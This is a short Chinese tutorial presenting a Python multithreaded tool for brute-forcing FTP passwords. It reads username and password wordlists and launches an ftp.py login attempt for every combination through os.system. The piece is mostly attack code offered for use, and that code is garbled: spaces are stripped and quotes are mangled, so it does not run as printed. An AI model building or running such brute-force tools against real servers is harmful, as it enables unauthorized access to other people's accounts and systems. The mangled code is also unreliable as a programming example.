python编写暴力破解FTP密码小工具
python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。
下面直接上代码,下面是主文件
importos importtime importthreading
classmythread(threading.Thread): def__init__(self,command): threading.Thread.__init__(self) self.command=command defrun(self): kk=os.system(self.command) ushand=open(“user.txt”,”r”) pshand=open(“passwd.txt”,”r”) listuser=[] listpass=[] forusinopen(“user.txt”,”r”): lineus=ushand.readline().strip(‘\n') listuser.append(lineus) forpsinopen(“passwd.txt”,”r”): lineps=pshand.readline().strip(‘\n') listpass.append(lineps) foriinlistuser: forjinlistpass: command=”ftp.py%s%s”%(i,j) printcommand my_thread=mythread(command) my_thread.start() time.sleep(0.1)